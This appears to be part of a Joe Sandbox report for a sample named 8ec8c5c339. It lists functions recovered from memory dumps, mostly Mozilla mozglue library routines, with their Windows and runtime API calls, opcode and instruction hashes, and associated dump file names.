Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: lstrlenmemcmpmemset
String ID: @$v10
API String ID: 2195167648-24753345
Opcode ID: 611e36765a5fb3337e2fc5f58ffb28a4fb24e3f977bc259337fb493cece3b7f1
Instruction ID: 07f8737455eafbd8f61b9e4d9b284130f9ce7af93f488edb76ba3c8551e2a7c8
Opcode Fuzzy Hash: 611e36765a5fb3337e2fc5f58ffb28a4fb24e3f977bc259337fb493cece3b7f1
Instruction Fuzzy Hash: 23414870A0020CEBCB04DFA4CC99BEE77B5BF44304F108029F905AB295DBB8AD45CB99

Function 6C2277D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C2277FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C227829

Part of subcall function 6C1FCC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C1C31A7), ref: 6C1FCC45
Part of subcall function 6C1FCC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C1C31A7), ref: 6C1FCC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C22789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C2278CF

Part of subcall function 6C1C4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C1C4E5A
Part of subcall function 6C1C4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C1C4E97

Part of subcall function 6C1C4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C203EBD,6C203EBD,00000000), ref: 6C1C42A9

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 8027534ba69f01724f2db71a31504f1128464d6bbb7d32a7d953a00b5d9a8e3e
Instruction ID: 14994c55903ec122300c8b81158bc0d29e7c3f96275634efedcebb388da0b41d
Opcode Fuzzy Hash: 8027534ba69f01724f2db71a31504f1128464d6bbb7d32a7d953a00b5d9a8e3e
Instruction Fuzzy Hash: D741AF719087469BD300DF29D48056BFBF4FFCA354F204A2DE8A987680DB70D559CB92

Function 6C21DAE0 Relevance: 6.1, APIs: 4, Instructions: 113COMMON

Download Yara Rule

APIs

??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C21DB86
??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C21DC0E
free.MOZGLUE(?), ref: 6C21DC2E
free.MOZGLUE(?), ref: 6C21DC40

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Impl@detail@mozilla@@Mutexfree
String ID:
API String ID: 3186548839-0
Opcode ID: 8cc20ecaca015bd1c208e234fdab4a7ef754452455294d2250574a88b47af46d
Instruction ID: ccfb4760c51323ba90fe98f5fb793a05aea1fed90c918bfa4f1094f74d0ae560
Opcode Fuzzy Hash: 8cc20ecaca015bd1c208e234fdab4a7ef754452455294d2250574a88b47af46d
Instruction Fuzzy Hash: FC4177796047058FC710CF34C488B6BBBF6AF88358F55882DE9AA87B41EB31E944CB51

Function 6C206470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C2082BC,?,?), ref: 6C20649B

Part of subcall function 6C1DCA10: malloc.MOZGLUE(?), ref: 6C1DCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C2064A9

Part of subcall function 6C1FFA80: GetCurrentThreadId.KERNEL32 ref: 6C1FFA8D
Part of subcall function 6C1FFA80: AcquireSRWLockExclusive.KERNEL32(6C24F448), ref: 6C1FFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C20653F
free.MOZGLUE(?), ref: 6C20655A

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: b2e6928fa0f79adf9852b5e7c583c8888954f2d98ba6de53a5791366a6547277
Instruction ID: 99f64cba5b2fe0c8a643f629c81d61d1002311a7b52212eb47f7bb80ac293c74
Opcode Fuzzy Hash: b2e6928fa0f79adf9852b5e7c583c8888954f2d98ba6de53a5791366a6547277
Instruction Fuzzy Hash: C9316FB5A047159FD700DF24D884A9BBBE4BF89318F40842EFD5A97741EB30E919CB92

Function 6C21A2B0 Relevance: 6.1, APIs: 4, Instructions: 90COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6C21A315
?_Xbad_function_call@std@@YAXXZ.MSVCP140(?), ref: 6C21A31F
free.MOZGLUE(00000000,?,?,?,?), ref: 6C21A36A

Part of subcall function 6C1E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C1E5EDB
Part of subcall function 6C1E5E90: memset.VCRUNTIME140(ew"l,000000E5,?), ref: 6C1E5F27
Part of subcall function 6C1E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C1E5FB2

Part of subcall function 6C212140: free.MOZGLUE(?,00000060,?,6C217D36,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C21215D

free.MOZGLUE(00000000), ref: 6C21A37C

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveXbad_function_call@std@@memset
String ID:
API String ID: 700533648-0
Opcode ID: 2cd80651a4fed0a93907c6086e225e8905c8cea7c2369b520c3c022de493091b
Instruction ID: 69078f0e0d2a1e1bc1b5fe916deb9f54a7441dde1f339e76a29a9b9612a1e05b
Opcode Fuzzy Hash: 2cd80651a4fed0a93907c6086e225e8905c8cea7c2369b520c3c022de493091b
Instruction Fuzzy Hash: 6521B6B1A046289BD7019B09D444B9EB7E9EF46768F444055EE099BB01D731ED0AC6D1

Function 6C1FFF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C21D019,?,?,?,?,?,00000000,?,6C20DA31,00100000,?), ref: 6C1FFFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C21D019,?,?,?,?,?,00000000,?,6C20DA31,00100000,?,?), ref: 6C1FFFF5
free.MOZGLUE(?,?,?,?,?,6C21D019,?,?,?,?,?,00000000,?,6C20DA31,00100000,?), ref: 6C20001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C21D019,?,?,?,?,?,00000000,?,6C20DA31,00100000,?,?), ref: 6C20002A

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 6c3edd0d6cb23b4a035ec891717a967d85754c260dff45c4523cb2d6d127767a
Instruction ID: 331d5bc620cbcd4f2432d7ca65cf2cf06198f2c37775cf06d988c3c1c06ffdb8
Opcode Fuzzy Hash: 6c3edd0d6cb23b4a035ec891717a967d85754c260dff45c4523cb2d6d127767a
Instruction Fuzzy Hash: 142103B2B002155BD7089E78DC948AFB7FAEB893243250338E935D7780EA70AD0286D1

Function 6C227B10 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C227B51
__aulldiv.LIBCMT ref: 6C227B6C
__aulldiv.LIBCMT ref: 6C227B8B
__aulldiv.LIBCMT ref: 6C227BB1

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: d00a51c4c5f930f9caa17efa13413b4b30e460f116377f5c22957434e894d04c
Instruction ID: b2955ea7f69334c86010a5ffead77e8a7c7a2a60f4ca3b4e60e38b462888245c
Opcode Fuzzy Hash: d00a51c4c5f930f9caa17efa13413b4b30e460f116377f5c22957434e894d04c
Instruction Fuzzy Hash: 73215EB1B04609AFD724DF6DCC81EA7B7FCEB86714B10853DE41ADB740E674A8058BA0

Function 6C22AAE0 Relevance: 6.1, APIs: 4, Instructions: 59threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32(?,?,6C23E330,?,6C1EBF9F), ref: 6C22AAF8
EnterCriticalSection.KERNEL32(6C24F770,?,6C1EBF9F), ref: 6C22AB08
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,6C1EBF9F), ref: 6C22AB39
LeaveCriticalSection.KERNEL32(6C24F770,?,?,?,?,?,?,?,?,6C1EBF9F), ref: 6C22AB6B

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CriticalSection$CurrentEnterLeaveThread_stricmp
String ID:
API String ID: 1951318356-0
Opcode ID: db8f34d504456ec9831954e707e3d83109a897cf13fef4b73153fb16a8f68147
Instruction ID: 0b18b331bb189da440ebff833ca5a92e15ef00e3952ba15967a5327390a1a265
Opcode Fuzzy Hash: db8f34d504456ec9831954e707e3d83109a897cf13fef4b73153fb16a8f68147
Instruction Fuzzy Hash: EB1133B1A00209CFCF04DFA9D848D9F7BB5EF89319B044429ED0597741E738E509CBA1

Function 6C1DB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C1DB4F5
AcquireSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C1DB502
ReleaseSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C1DB542
free.MOZGLUE(?), ref: 6C1DB578

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: f7c2cbbb2b8e37be86ec6fba8ddad9657e2863a4fafb0abd46926bd44e6a4fe6
Instruction ID: cab0f50e68af4d349bd431506224e59da003885c376c6af64690e7c42c0f6461
Opcode Fuzzy Hash: f7c2cbbb2b8e37be86ec6fba8ddad9657e2863a4fafb0abd46926bd44e6a4fe6
Instruction Fuzzy Hash: F511DF35A14B45C7D7129F29C408766B3B1FFEA318F16970AEC4A53A01EBB4B1C4C790

Function 6C203DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C1CF20E,?), ref: 6C203DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C1CF20E,00000000,?), ref: 6C203DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C203E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C203E0E

Part of subcall function 6C1FCC00: GetCurrentProcess.KERNEL32(?,?,6C1C31A7), ref: 6C1FCC0D
Part of subcall function 6C1FCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C1C31A7), ref: 6C1FCC16

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 5f3298e0988468da3d3a993770ce3e451da35a3945f9e190e2ba052de916c8a1
Instruction ID: 9e1ec2797371a20946e3e8071db5d618168466acbccd601731e2c92410309a38
Opcode Fuzzy Hash: 5f3298e0988468da3d3a993770ce3e451da35a3945f9e190e2ba052de916c8a1
Instruction Fuzzy Hash: 6EF082B16002087BD700AB54DC45DAB376CEF46A28F054020FD0C57741D735BD1986F7

Function 6C212050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32(?,?,00000000,?,6C21201B,?,?,?,?,?,?,?,6C211F8F,?,?), ref: 6C21205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C21201B,?,?,?,?,?,?,?,6C211F8F,?,?), ref: 6C212064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C21208E
free.MOZGLUE(?,?,?,00000000,?,6C21201B,?,?,?,?,?,?,?,6C211F8F,?,?), ref: 6C2120A3

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 9e1978ed65d7996e8acb96f6c550433cf9453e6357c857f18f585b6746f91f57
Instruction ID: e1169295cd08d52e117856dabea8b22eecbd67b63a92190a7a83cbca86231519
Opcode Fuzzy Hash: 9e1978ed65d7996e8acb96f6c550433cf9453e6357c857f18f585b6746f91f57
Instruction Fuzzy Hash: 5AF0B4B5204A049FC7119F16D88CB5BB7F8EF9A328F14012AFA0687B11DB71A805CB95

Function 6C20EB00 Relevance: 6.0, APIs: 4, Instructions: 30threadsynchronizationCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32(?,00000000), ref: 6C20EB11
AcquireSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6C20EB3C
ReleaseSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20EB5B
GetCurrentThreadId.KERNEL32(?,00000000,00000000,?,?,00000000), ref: 6C20EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6C20EBAC
GetCurrentThreadId.KERNEL32(?,00000000,00000000,?,?,00000000), ref: 6C20EBC1
AcquireSRWLockExclusive.KERNEL32(6C24F4B8,?,?,00000000), ref: 6C20EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6C20EBE5
ReleaseSRWLockExclusive.KERNEL32(6C24F4B8,00000000), ref: 6C20EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C20EC46
CloseHandle.KERNEL32(?), ref: 6C20EC55
free.MOZGLUE(00000000), ref: 6C20EC5C

Strings

[I %d/%d] profiler_start, xrefs: 6C20EBB4
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6C20EA9B

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: ExclusiveLock$CurrentThread$AcquireRelease$?profiler_init@baseprofiler@mozilla@@CloseHandleObjectSingleWait_getpidfreememset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 2885072826-1186885292
Opcode ID: 34e61cb9643b8ba1d42675ba44701f33e8b52077a6e884e47f343067036b3e66
Instruction ID: 58ac3e9fbb525bb1d4aba84355a9ea67ec7550489f695d981019e84969367a66
Opcode Fuzzy Hash: 34e61cb9643b8ba1d42675ba44701f33e8b52077a6e884e47f343067036b3e66
Instruction Fuzzy Hash: 1FF082363002149BDB106A69D80DB9A7774ABC266DF008026FE05936C0CFB45445C7A9

Function 6C2120B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32(?,6C24F430,?,6C1FFBD1), ref: 6C2120B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6C1FFBD1), ref: 6C2120C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6C1FFBD1), ref: 6C2120DA
free.MOZGLUE(00000000,?,6C1FFBD1), ref: 6C2120F1

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 365f067407fbe66c182b8ffcd7901caccf327f3e69f3000630d4837b2e2e81b7
Instruction ID: d6735c57b04e451cd4f9754271c879dfabfd368934c791ecf0aa7fa8e35bfcb3
Opcode Fuzzy Hash: 365f067407fbe66c182b8ffcd7901caccf327f3e69f3000630d4837b2e2e81b7
Instruction Fuzzy Hash: FCE0E575704A188BC220AF25D80CA4EB7F9EF8B318B14022AFD06C3F00EB76A546C6D5

Function 6C2185B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C2185D3

Part of subcall function 6C1DCA10: malloc.MOZGLUE(?), ref: 6C1DCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C218725

Strings

map/set<T> too long, xrefs: 6C218720

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 8f7da2a2511e40133f1db4edd07214e0e74460459af17f5b412dc1ad35662bc1
Instruction ID: 47befccb62a3f6315cb3ad924ef8ee1135fe705d668fee90db97d8bccea21c1e
Opcode Fuzzy Hash: 8f7da2a2511e40133f1db4edd07214e0e74460459af17f5b412dc1ad35662bc1
Instruction Fuzzy Hash: 3351797460868ACFD701CF18C084B56BBF1BF49318F1AC28AD9595BB52C335E885CF92

Function 6C1CBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C1CBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C1CBE8F

Strings

0, xrefs: 6C1CBE5B

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: ca7866b4d4c7164bb314ff28aa2cb0293c733350c8b4f64b22aee95e439009ef
Instruction ID: 8cd7671abf3f7302e68eab49cbf18a78b088044cd4c8c94f2cc9aa395d600bd3
Opcode Fuzzy Hash: ca7866b4d4c7164bb314ff28aa2cb0293c733350c8b4f64b22aee95e439009ef
Instruction Fuzzy Hash: 4241AE71A09745CFC701CF38C481A9BBBE4AFAA348F008A1DF995A7611D734D949CB83

Function 6C1C9A20 Relevance: 5.3, APIs: 4, Instructions: 338COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C1C9B2C
memcpy.VCRUNTIME140(6C1C99CF,00000000,?), ref: 6C1C9BB6
memcpy.VCRUNTIME140(?,?,?), ref: 6C1C9BF8
memcpy.VCRUNTIME140(?,?,?), ref: 6C1C9DE4

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 27ae72ff69652c9363ebd58e01bbddb8ee02bc2ffd3a8d257f3e861593d42dcb
Instruction ID: 43db736196980e7af7948bfce3b0a183ecb0fbb83047690db3daad9fa0a88780
Opcode Fuzzy Hash: 27ae72ff69652c9363ebd58e01bbddb8ee02bc2ffd3a8d257f3e861593d42dcb
Instruction Fuzzy Hash: 21D17A71B0021A9FCB14CF69C890AAEBBF2FF98318F184529E909A7740D735ED55CB91

